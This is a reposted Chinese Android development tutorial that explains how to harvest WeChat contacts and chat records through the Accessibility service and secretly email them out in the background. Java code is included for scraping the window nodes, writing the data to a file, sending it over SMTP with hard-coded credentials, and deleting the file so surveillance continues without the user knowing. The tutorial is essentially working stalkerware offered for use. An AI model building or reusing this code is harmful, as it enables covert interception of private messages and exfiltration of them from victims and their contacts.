Android開發——獲取微信聊天記錄(后台秘密發郵件)


1. 首先先展示一下效果圖:




2. Accessibility機制

Accessibility機制之前已經介紹過了,具體可以查看Accessibility機制實現模擬點擊,需要簡單的配置(如設置被監聽的對象為微信)和實現。此文中介紹了如何通過Accessibility自動搶紅包,在這個過程中,很明顯,在調用如下代碼時,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  
遍歷節點,再循環打印其 getText()信息,便可以拿到用戶 通訊錄以及聊天記錄等信息 的。

獲取到這些信息后,我們可以暫時寫入文件,以備發送。

private void write(String info){
		try{
			FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
			PrintStream ps = new PrintStream(fos);
			ps.println(info);
			ps.close();
		}
		catch (Exception e) {
			e.printStackTrace();
		}
	}

當然,前提是在被監聽用戶在我們開啟監聽后聊過(或者說看到)的記錄,否則用戶連微信都不打開,我們是無從獲取聊天記錄等信息的。

本文原創,轉載請注明出處:http://blog.csdn.net/seu_calvin/article/details/51917182


2. 后台秘密發郵件

當然,我們監聽到這些信息,需要實時地反饋給我們。這里我們采用郵件的形式,通過后台“偷偷地”發送這些信息。

發送后台郵件需要用到三個第三方的庫,分別為activation.jar,additionnal.jar,mail.jar。發送郵件的時候需要用到很多信息,包括發送郵件的服務器的IP和端口、郵件發送者的地址、郵件接收者的地址、登陸郵件發送服務器的用戶名和密碼、郵件主題、郵件的文本內容等等。

這里需要注意的是,我們后台發郵件需要賬號密碼等敏感信息,這些郵件信息,除了郵件的文本內容信息,其他的信息我們都可以在程序里面編寫好,這樣便可以實現在用戶未知的情況下,將用戶的個人隱私信息作為郵件的文本內容,從應用程序目錄下的文件內取出,完成后台發送

還有一點需要注意的是,在完成后台秘密發送的同時,需要將存放敏感信息的的文件進行刪除,以此來防止部分內容的重復發送。刪除之后,重新開始監聽用戶信息,若信息有效,便重新創建文件寫入信息,當達到設定好的發送條件時,再進行后台郵件發送,以此循環,來達到一直監聽的目的。具體的發送時機,刪除暫時保存數據的文件的時機等等,可以自定義實現。

核心代碼展示如下:

                        //發送郵件
                        MailSenderInfo mailInfo = new MailSenderInfo();
                        mailInfo.setMailServerHost("smtp.163.com");
                        mailInfo.setMailServerPort("25");
                        mailInfo.setValidate(true);
                        mailInfo.setUserName(userid);  //你的郵箱地址
                        mailInfo.setPassword(password);//您的郵箱密碼
                        mailInfo.setFromAddress(from);
                        mailInfo.setToAddress(to);
                        mailInfo.setSubject(subject);
                        mailInfo.setContent(read());
                        //這個類主要來發送郵件
                        SimpleMailSender sms = new SimpleMailSender();
                        //發送文體格式
                        sms.sendTextMail(mailInfo);

其中SimpleMailSender類展示如下,MyAuthenticator類需要繼承Authenticator類,主要是在getPasswordAuthentication()方法中返回封裝好的類型為PasswordAuthentication的鑒權結果即可。

public class SimpleMailSender
{
    /**
     * 以文本格式發送郵件
     * @param mailInfo 待發送的郵件的信息
     */
    public boolean sendTextMail(MailSenderInfo mailInfo){
        // 判斷是否需要身份認證
        MyAuthenticator authenticator = null;
        Properties pro = mailInfo.getProperties();
        if (mailInfo.isValidate())
        {
            // 如果需要身份認證,則創建一個密碼驗證器
            authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
        }
        // 根據郵件會話屬性和密碼驗證器構造一個發送郵件的session
        Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
        try
        {
            // 根據session創建一個郵件消息
            Message mailMessage = new MimeMessage(sendMailSession);
            // 創建郵件發送者地址
            Address from = new InternetAddress(mailInfo.getFromAddress());
            // 設置郵件消息的發送者
            mailMessage.setFrom(from);
            // 創建郵件的接收者地址,並設置到郵件消息中
            Address to = new InternetAddress(mailInfo.getToAddress());
            mailMessage.setRecipient(Message.RecipientType.TO,to);
            // 設置郵件消息的主題
            mailMessage.setSubject(mailInfo.getSubject());
            // 設置郵件消息發送的時間
            mailMessage.setSentDate(new Date());
            // 設置郵件消息的主要內容
            String mailContent = mailInfo.getContent();
            mailMessage.setText(mailContent);
            // 發送郵件
            Transport.send(mailMessage);
        }
        catch (MessagingException ex){
            ex.printStackTrace();
        }
        return false;
    }
}

MailSenderInfo類展示如下。

public class MailSenderInfo {
    // 發送郵件的服務器的IP和端口
    private String mailServerHost = Constant.SERVICE_IP;
    private String mailServerPort = Constant.SERVICE_PORT;//一般為25
    // 郵件發送者的地址
    private String fromAddress;
    // 郵件接收者的地址
    private String toAddress;
    // 登陸郵件發送服務器的用戶名和密碼
    private String userName;
    private String password;
    // 是否需要身份驗證
    private boolean validate = true;
    // 郵件主題
    private String subject;
    // 郵件的文本內容
    private String content;
    /**
     * 獲得郵件會話屬性
     */
    public Properties getProperties() {
        Properties p = new Properties();
        p.put("mail.smtp.host", this.mailServerHost);
        p.put("mail.smtp.port", this.mailServerPort);
        p.put("mail.smtp.auth", "true");
        return p;
    }
    public String getMailServerHost() {
        return mailServerHost;
    }
    public void setMailServerHost(String mailServerHost) {
        this.mailServerHost = mailServerHost;
    }
    public String getMailServerPort() {
        return mailServerPort;
    }
    public void setMailServerPort(String mailServerPort) {
        this.mailServerPort = mailServerPort;
    }
    public boolean isValidate() {
        return validate;
    }
    public void setValidate(boolean validate) {
        this.validate = validate;
    }
    public String getFromAddress(){
        return fromAddress;
    }
    public void setFromAddress(String fromAddress){
        this.fromAddress = fromAddress;
    }
    public String getPassword(){
        return password;
    }
    public void setPassword(String password){
        this.password = password;
    }
    public String getToAddress(){
        return toAddress;
    }
    public void setToAddress(String toAddress){
        this.toAddress = toAddress;
    }
    public String getUserName(){
        return userName;
    }
    public void setUserName(String userName){
        this.userName = userName;
    }
    public String getSubject(){
        return subject;
    }
    public void setSubject(String subject){
        this.subject = subject;
    }
    public String getContent(){
        return content;
    }
    public void setContent(String textContent){
        this.content = textContent;
    }
}



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM